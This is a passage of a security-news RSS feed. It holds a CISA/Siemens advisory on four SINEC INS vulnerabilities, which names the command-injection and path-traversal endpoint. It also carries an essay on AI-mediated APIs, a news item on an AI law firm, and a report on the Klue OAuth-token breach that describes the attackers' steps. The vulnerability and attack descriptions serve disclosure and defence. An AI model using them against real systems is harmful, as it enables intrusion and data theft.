<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-46746</a></h3>
<div class="csaf-accordion-content">
<p>The application does not properly sanitize user input in the /api/sftp/uploadFiles endpoint, allowing the injection of shell command payloads via crafted directory names. These payloads are stored and executed when directory listings are retrieved. This could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system with the privileges of the affected service user (sinecins).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-46746">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC INS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SINEC INS</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V1.0 SP2 Update 6 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002283/">https://support.industry.siemens.com/cs/ww/en/view/110002283/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/78.html">CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-46747</a></h3>
<div class="csaf-accordion-content">
<p>The affected application does not properly sanitize path input in the `GET /api/sftp/uploadFiles` endpoint used for directory listing. This allows path traversal through crafted input, enabling access to unintended file system locations.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-46747">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC INS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SINEC INS</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V1.0 SP2 Update 6 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002283/">https://support.industry.siemens.com/cs/ww/en/view/110002283/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/26.html">CWE-26 Path Traversal: '/dir/../filename'</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-46748</a></h3>
<div class="csaf-accordion-content">
<p>The affected system includes a binary that is configured with the cap_dac_override capability. This capability allows the process to bypass file system permission checks, resulting in unrestricted file system access. This could allow a local attacker to escalate privileges leading to arbitrary file modification and gaining root privileges on the system.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-46748">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC INS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SINEC INS</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V1.0 SP2 Update 6 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002283/">https://support.industry.siemens.com/cs/ww/en/view/110002283/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/250.html">CWE-250 Execution with Unnecessary Privileges</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-46749</a></h3>
<div class="csaf-accordion-content">
<p>The affected application uses a password hashing implementation with a static, hardcoded salt shared across all users and installations, and is configured with an insufficient number of iterations. This could allow an attacker to efficiently recover user passwords using brute-force or precomputed attacks, potentially resulting in unauthorized access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-46749">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC INS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SINEC INS</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V1.0 SP2 Update 6 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002283/">https://support.industry.siemens.com/cs/ww/en/view/110002283/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/760.html">CWE-760 Use of a One-Way Hash with a Predictable Salt</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-860189 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-06-09</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-06-09</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-06-23</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-860189 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[How fuzzy APIs are remaking the web]]></title>
<description><![CDATA[For nearly as long as the web has existed, web development has wrestled mightily with the right way to connect components over the network. This is the question of the remote API. It influences every aspect of the software we build. We sort of arrived at a tolerable compromise with JSON APIs. Whi...]]></description>
<link>https://tsecurity.de/de/3617682/ai-nachrichten/how-fuzzy-apis-are-remaking-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3617682/ai-nachrichten/how-fuzzy-apis-are-remaking-the-web/</guid>
<pubDate>Tue, 23 Jun 2026 11:03:56 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For nearly as long as <a href="https://home.cern/science/computing/the-birth-of-the-web/short-history-web/" data-type="link" data-id="https://home.cern/science/computing/the-birth-of-the-web/short-history-web/">the web has existed</a>, web development has wrestled mightily with the right way to connect components over the network. This is the question of the remote <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">API</a>. It influences every aspect of the software we build. We sort of arrived at a tolerable compromise with JSON APIs. While these have their limitations, you have to appreciate their underlying simplicity.</p>



<p>But the advent of AI-enabled endpoints that can mediate intent is changing the basic workings of the internet. This change is gradually reawakening an old dream, the service-oriented architecture (SOA). This time around, with luck, we’ll finally gain the flexible, discoverable, and maintainable automated service discovery we’ve longed for. Fingers crossed.</p>



<h2 class="wp-block-heading">Why old-school SOA failed </h2>



<p>Let’s call this burgeoning influence of AI on web architecture SOA 2.0.</p>



<p>To understand why SOA 2.0 is different from <a href="https://www.infoworld.com/article/2158174/what-is-service-oriented-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2158174/what-is-service-oriented-architecture.html">SOA 1.0</a>, we have to remember the trauma of the 2000s. (This may be painful but also cathartic.) The original dream of SOA was beautiful: a world where disparate business services—inventory, billing, shipping, you name it—could automatically discover each other, understand capabilities, and orchestrate complex tasks without human intervention.</p>



<p>To achieve this, we built a monument to complexity. We had SOAP (Simple Object Access Protocol) for messaging, WSDL (Web Services Description Language) to define contracts, and UDDI registries for service discovery. At the center of it all sat the Enterprise Service Bus (ESB), a massive piece of middleware that was supposed to route everything gracefully, seamlessly. In case you young’uns are confused, that is all based on XML.</p>



<p>By the time you were done understanding the infrastructure well enough to know how to do something, you had forgotten what you set out to do.</p>



<p>It failed. It was egregiously heavy. Just to do some simple thing like create a “New Item” endpoint, you immediately had to begin scaling a wall of rigid definitions.</p>



<p>Because computers historically required absolute, deterministic perfection, if a single XML tag in a SOAP envelope was missing, or if a service updated its WSDL without every client re-generating its stubs, the entire multi-million-dollar pipeline would violently unravel. Some of us may be familiar with a similar challenge in containerized <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a> (like Kubernates), where trying to determine where in the mesh a problem originated is… awkward.</p>



<p>Classic SOA was a house of cards, too brittle to survive the fuzzy reality of the internet.</p>



<p>The typical JSON API of today is a reaction against SOA. (It may be an overreaction.) We abandoned SOA for the relative simplicity of <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html" data-type="link" data-id="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">REST</a>, giving up on the dream of autonomous service orchestration in exchange for manual integrations that <em>just work.</em></p>



<h2 class="wp-block-heading">The new intention-to-execution middleware</h2>



<p>A sea change is already happening with app-level architecture. </p>



<p>The effect of AI endpoints in an app’s service profile goes beyond just a new capability. It changes how the rest of the services work together. The overall effect is something like the app gaining an understanding of itself, and what it can do. This is not dissimilar to what WSDL was supposed to accomplish. But instead of a hard-coded descriptor, where some person had to keep what was available and what was described in sync, you now have a layer that can accept dynamically produced descriptors and unite them with fuzzy user intention and produce meaningful action.</p>



<p>You tie in AI endpoints to bridge between what the user is trying to accomplish, with the various strict capabilities available. These capabilities may exist within the app at the back end, at the front end, or at another service layer. The main thing is that there is a flexible AI layer that mitigates the need to hard-code the links between services.</p>



<p>In classic SOA, the contract was a rigid, unforgiving WSDL document. In modern common practice, the contract is a strongly coupled RESTful endpoint. In SOA 2.0, the contract has a hitherto unknown degree of flexibility, thanks to the natural language capabilities of an LLM.</p>



<p>When a user or a system expresses an intent—say, “Provision a new staging environment for the billing service”—the AI middleware doesn’t look for a hard-coded, point-to-point integration. Instead, it digests the intent and performs semantic routing, consulting a registry and selecting the appropriate tools. That registry, rather than a heavy UDDI, might be a vector database of available internal API endpoints, or a collection of available functions. </p>



<p>Modern LLMs equipped with function-calling capabilities act as the ultimate dynamic orchestrators. They read the JSON schema of a target REST API, understand its parameters, and dynamically map the user’s fuzzy, unstructured intent into a perfectly formatted JSON payload. If a field is missing, the LLM can either infer it from context or pause execution to ask the user for clarification.</p>



<p>The brittleness of SOA 1.0 is replaced by a shock absorber. If the target API changes a parameter name from <code>customerID</code> to <code>clientId</code>, the AI middleware can read the updated schema and adjust its mapping on the fly. No client code needs to be recompiled. No stubs need to be regenerated. The multi-million-dollar pipeline survives.</p>



<h2 class="wp-block-heading">When software becomes smart</h2>



<p>These are not just abstract ideas. I recently did my taxes, using a popular mainstream service that I will not name. I had several unusual and grumpy areas to deal with, including the new crypto regulations. It was not pretty.</p>



<p>But what I was most struck by was how dumb the software was, compared to the AI chatbot I was using to help guide me. I wanted to be able to tell the (stupid) software what I was trying to do. Such as “Carry my NOL from last year!” Or “I don’t know if I need a schedule K, you tell me!”</p>



<p>I don’t want another chatbot. I mean, I already have a good chatbot. I want the application to be well-integrated with AI services that understand the app, understand my current situation within the app, and meet me at the level of intent, applying the lessons learned by others who have used the same tools.</p>



<p>This kind of targeted, intelligent leveling up of intention is, from all I can see, the next stage of software development, and it is going to be massive.</p>



<h2 class="wp-block-heading">Latency, non-determinism, and other challenges</h2>



<p>We are trading the deterministic brittleness of classic SOA for the probabilistic fuzziness of SOA 2.0. And that trade is going to be demanded with ever more insistence by users. But it comes with a new set of trade-offs. </p>



<p>First, there is the latency tax. The old enterprise service bus was heavy to configure, but at run time, the messaging was just routed XML. Injecting an LLM into the critical path of an application adds hundreds of milliseconds, if not seconds, of latency. For asynchronous tasks or complex orchestrations, this is a welcome trade-off. For real-time, high-throughput microservices, it is a deal-breaker.</p>



<p>Second, there is the problem of non-determinism. We spent decades training ourselves (and our systems) to expect that given input A, a system will always produce output B. That deterministic equation was our bottom line faith. The intent layer doesn’t work that way. An LLM might route a request beautifully 99 times, then hallucinate a parameter on the 100th. Or it might choose an entirely different execution path based on a subtle shift in the user’s phrasing.</p>



<p>A third fly in the ointment is the so-called non-functional requirements, or NFRs. These are your pesky sidebar issues that refuse to be ignored, like security and reliability. </p>



<p>Security concerns are magnified by model capabilities like function calling (or “function passing”). If you pair a user’s desires with what the AI can do, and you then let the AI decide, what happens next is clearly an act of faith unless guardrails are put in place. These guardrails must go beyond typical web security (i.e., make sure important function calls are hardened on the server, not exposed on the client) and must be internalized by the AI or (more likely) imposed from a layer outside the AI. There are a number of ways to do this, varying in degree of power and complexity. </p>



<p>We certainly will continue to use standard practices (like RBAC and SSO) to enforce authentication. We will continue to implement standard authorization techniques (like OAUTH and JWT). But we will bring these to bear in the context of that intent layer and its capabilities.</p>



<p>Reliability is another challenge. For example, I recently hit a snag with Google’s Imagen API. Everything was working beautifully, then suddenly, some of the images stopped generating. There were no errors in the client or server logs; however, there were 500 errors in the network. Upon deeper examination, the prompting had morphed (between app context and user content) to include what the Imagen API rules deemed to be dangerous content. This was not obviously flagged prompting. It was fairly pedestrian creative writing, along the lines of “A dark, surreal, and glitchy cyberpunk landscape with menacing figures….” That kind of thing.</p>



<p>These are some of the ways that even simple, direct use of LLM APIs can surprise you. The question I am mulling is, what will be the unexpected outcomes on software writ large?</p>



<h2 class="wp-block-heading">Dawn of a probabilistic web</h2>



<p>Since its inception, the unpredictable, probabilistic nature of the internet came primarily from the humans using it (and background radiation flipping transistors, network failures, geopolitical effects on the ground, and the like). But AI-mediated APIs introduce an intentional, semantically controlled form of probability.</p>



<p>As developers, we will naturally discover the techniques that make consuming AI endpoints more effective. Here I am thinking about practices like structured responses and function calling. But the larger question is, what will the nature of software become?</p>



<p>In a world of binary states, strict protocols, and rigid URIs, if you send a <code>GET</code> request to a specific endpoint, you expect an exact, predictable response. We have spent the last 40 years treating the web like a vast, unimaginably complex state machine.</p>



<p>But as LLM-mediated APIs permeate our architecture with stochastics, the very fabric of the internet begins to change. By injecting AI into the routing and discovery layers, we are introducing a massive dose of probability into the foundation of our networks. When a request is no longer a hard-coded URI call but a natural language intent parsed by an LLM, the connection between node A and node B ceases to be a rigid wire. It becomes a weighted probability.</p>



<p>In essence, we are remaking the internet to mirror the architecture of the AI models we are deploying. Just as a neural network relies on the probabilistic firing of synapses rather than deterministic if/then statements, the next iteration of the web will rely on fluid, semantic discovery. Services won’t just “link” to each other; they will gravitate toward one another based on the conceptual proximity of their capabilities within a shared latent space. </p>



<p>This alters the character of software engineering. We lose (the illusion) of being entirely in control. Its strange paradox is that engineering using explicitly probabilistic components may make for a more resilient system. There is a longstanding debate about the best metaphor for software development. For the longest time, the construction of a building always seemed to be an apt analogy, or perhaps the mechanics of a vehicle. But these days, the gardening or cultivation metaphor is looking ever more relevant.</p>



<p>Despite the challenges posed by inserting AI in the stack, we are finally circling back to the original promise of the early 2000s. This time, fingers crossed, we are equipped with the right tools for the job.</p>



<p>We tried to build autonomous service discovery using rigid logic and deterministic XML, and it collapsed under its own weight. Now, we are building it with neural networks that understand the “intent” behind the integration. We are still building middleware, but instead of an enterprise service bus, we are building an enterprise reasoning bus. </p>



<p>The era of manually hard-coding every integration between every microservice may be coming to a close. </p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Law Firm Wins UK Court Case For First Time]]></title>
<description><![CDATA[Garfield AI, the UK's first regulator-approved AI law firm, has won its first court case after helping a freelancer recover 7,000 pounds in unpaid fees. "I was owed money for work I had done, but it felt like the process of recovering it could be too stressful, expensive and time-consuming," said...]]></description>
<link>https://tsecurity.de/de/3616196/it-security-nachrichten/ai-law-firm-wins-uk-court-case-for-first-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616196/it-security-nachrichten/ai-law-firm-wins-uk-court-case-for-first-time/</guid>
<pubDate>Mon, 22 Jun 2026 19:09:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Garfield AI, the UK's first regulator-approved AI law firm, has won its first court case after helping a freelancer recover 7,000 pounds in unpaid fees. "I was owed money for work I had done, but it felt like the process of recovering it could be too stressful, expensive and time-consuming," said Tamires Camal Taquidir, a freelancer who had provided HR-related services to a hospitality business. "Garfield made it possible for me to pursue the claim and keep going. When the counterclaim was brought, it was intended to intimidate me, but I knew I had accessible, cost-effective and competent support. I'm delighted by the result." Computer Weekly reports: After attempting to resolve a dispute over paid fees without court action, Camal Taquidir [...] used Garfield AI to help her pursue the case in court. She was able to generate pre-action correspondence, and then prepare and issue court proceedings. The AI legal assistant conducted all of the legal work preceding the court trial. The defendant instructed solicitors and brought a counterclaim, which the claimant disputed with the support of Garfield AI.
 
The claimant continued to trial, including dealing with document production, the preparation witness statements and trial bundles. Garfield then instructed a junior, shortly before the trial began. She won the claim over unpaid fees following a three-hour trial at Wandsworth County Court. The claimant paid around 400 pounds in Garfield AI fees to recover the 7,000 pounds owed, while the defendant instructed both a solicitor and a barrister. [...] Following a three-hour trial at Wandsworth County Court on 14 May 2026, in which both sides were represented by barristers, the court found in favor of the claimant, awarding 7,000 pounds and dismissing the counterclaim.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=AI+Law+Firm+Wins+UK+Court+Case+For+First+Time%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F06%2F22%2F1657204%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F06%2F22%2F1657204%2Fai-law-firm-wins-uk-court-case-for-first-time%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/06/22/1657204/ai-law-firm-wins-uk-court-case-for-first-time?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Klue breach exposed Salesforce CRM data through stolen OAuth tokens]]></title>
<description><![CDATA[An attacker broke into competitive-intelligence vendor Klue, stole OAuth tokens its customers use to connect to Salesforce and other platforms, and accessed data across multiple customer environments prompting the company to revoke customer OAuth tokens and disabled affected integrations.



“An ...]]></description>
<link>https://tsecurity.de/de/3616090/it-security-nachrichten/klue-breach-exposed-salesforce-crm-data-through-stolen-oauth-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616090/it-security-nachrichten/klue-breach-exposed-salesforce-crm-data-through-stolen-oauth-tokens/</guid>
<pubDate>Mon, 22 Jun 2026 18:24:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>An attacker broke into competitive-intelligence vendor Klue, stole OAuth tokens its customers use to connect to Salesforce and other platforms, and accessed data across multiple customer environments prompting the company to revoke customer OAuth tokens and disabled affected integrations.</p>



<p>“An attacker gained access through a compromised legacy credential associated with an integration service,” <a href="https://klue.com/blog/an-update-on-recent-klue-security-incident" target="_blank" rel="noreferrer noopener">Klue CEO Jason Smith said</a> in a posting to the company’s blog. “The attacker used that access to obtain OAuth tokens used to connect Klue with certain third-party platforms, including Salesforce, and subsequently accessed data within a number of connected customer environments,” he wrote.</p>



<p>Klue detected the intrusion on June 12 and Smith posted to the blog on June 19.</p>



<p>The breach reached Salesforce accounts at cybersecurity vendors Huntress and Recorded Future, along with an undisclosed number of other Klue customers.</p>



<p>Salesforce disabled the Klue Battlecards integration and said organizations cannot reconnect through it until further notice, saying in a posting to its website, “Our security teams recently detected unusual activity involving the app that may have resulted in unauthorized access to a subset of customer data via the app’s connection to Salesforce. This issue is limited to Klue’s app connection and does not arise from a vulnerability within the Salesforce platform.”</p>



<h2 class="wp-block-heading">Unauthorized code removed</h2>



<p>Klue’s CEO listed the containment steps the company had taken, including revoking affected credentials and tokens, disabling impacted integrations, notifying law enforcement — and “removing unauthorized code.” He offered no further detail on the unauthorized code, how it arrived, or what it did. The company did not immediately respond to a request for further details of its removal of unauthorized code.</p>



<p>Security vendor and Klue customer <a href="https://www.huntress.com/blog/klue-breach-investigation" target="_blank" rel="noreferrer noopener">Huntress published its own investigation</a> filling in that gap. The attackers had pushed a code update to a Klue integration system designed to harvest customers’ OAuth tokens, Huntress wrote. Klue staff later found the ‘token-theft code’ and removed it, Huntress added in its investigation report.</p>



<p>The initial entry point was a credential Klue had created to prototype an integration it later dropped but never deactivated. “The threat actor seems to have leveraged a long-disused but still active credential to conduct the initial compromise — one that was originally created by Klue for them to prototype a third-party integration they later abandoned,” Huntress said. The attacker then pivoted through Klue’s infrastructure, collected customer tokens and used them to query those customers’ CRM systems before exfiltrating the data, the firm added.</p>



<p>Klue shut down integrations with Salesforce, HubSpot, SharePoint, Zoom, Gong, Chorus, Clari, Google Drive and Slack and issued a general alert on June 13, according to Huntress. That alert “did not indicate which customers were impacted,” the firm noted. It did not name any affected customers.</p>



<h2 class="wp-block-heading">Data extracted over 24 hours</h2>



<p>Another security firm, ReliaQuest, traced how customer CRM data was pulled from Salesforce. The attacker authenticated to victims’ Klue integration service accounts, generated OAuth tokens and ran automated Python scripts that queried the Salesforce REST API for about 24 hours, <a href="https://reliaquest.com/blog/threat-spotlight-integration-abused-in-crm-data-theft" target="_blank" rel="noreferrer noopener">ReliaQuest said in its threat analysis</a>.</p>



<p>The activity was consistent with bulk data retrieval rather than routine integration traffic, it noted — a distinction that would not have been visible without API-layer logging.</p>



<p>ReliaQuest advised organizations that had connected Klue to Salesforce to treat the incident as a prompt to revoke and rotate all OAuth tokens and refresh tokens tied to that integration, review Salesforce API logs for unusual query volumes, and restrict third-party integration accounts to known IP ranges.</p>



<p>“Any third-party app with OAuth access to a core platform like <a href="https://www.csoonline.com/article/4143667/overly-permissive-guest-settings-put-salesforce-customers-at-risk.html">Salesforce</a> is part of your attack surface and should be inventoried, monitored, and scoped to least privilege,” the firm said.</p>



<h2 class="wp-block-heading">Salesforce and Gong data taken</h2>



<p>Huntress confirmed it was among the affected customers. Business contacts, price quotes and sales communications from its Salesforce account were taken, the company said. Passwords, payment-card data, threat intelligence and product telemetry were not compromised, and the Huntress product and infrastructure were untouched.</p>



<p>Parts of the Salesforce account at another cybersecurity vendor, Recorded Future, were also accessed, the company said. “All available evidence suggests that Recorded Future was not specifically targeted and was instead an incidental victim by virtue of utilizing the compromised integration between Salesforce and Klue,” <a href="https://www.recordedfuture.com/blog/klue-security-incident" target="_blank" rel="noreferrer noopener">Recorded Future said</a>. The exposure appeared limited to client contact names, email addresses and possibly some contract information, it added.</p>



<h2 class="wp-block-heading">Icarus claims the attack</h2>



<p>Huntress attributed the attack to a new extortion group calling itself Icarus, after session messenger IDs in extortion emails matched identifiers on the group’s dark-web leak site. Icarus listed Klue publicly on June 19 and said it had exfiltrated Salesforce data from a number of Klue’s partner companies. The group has signaled it may contact affected organizations directly, meaning Klue customers should expect unsolicited outreach and review their spam folders for related emails, Huntress said.</p>



<p>The activity matched the OAuth-abuse pattern behind the 2025 Salesloft Drift and Gainsight compromises, tied to ShinyHunters and UNC6395, but evidence was insufficient to link the Klue incident to either group, the firm said.</p>



<p>“The OAuth-abuse playbook is repeatable, effective, and now widely adopted,” it warned.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[RIPE abandons cloud-first strategy over geopolitical risk]]></title>
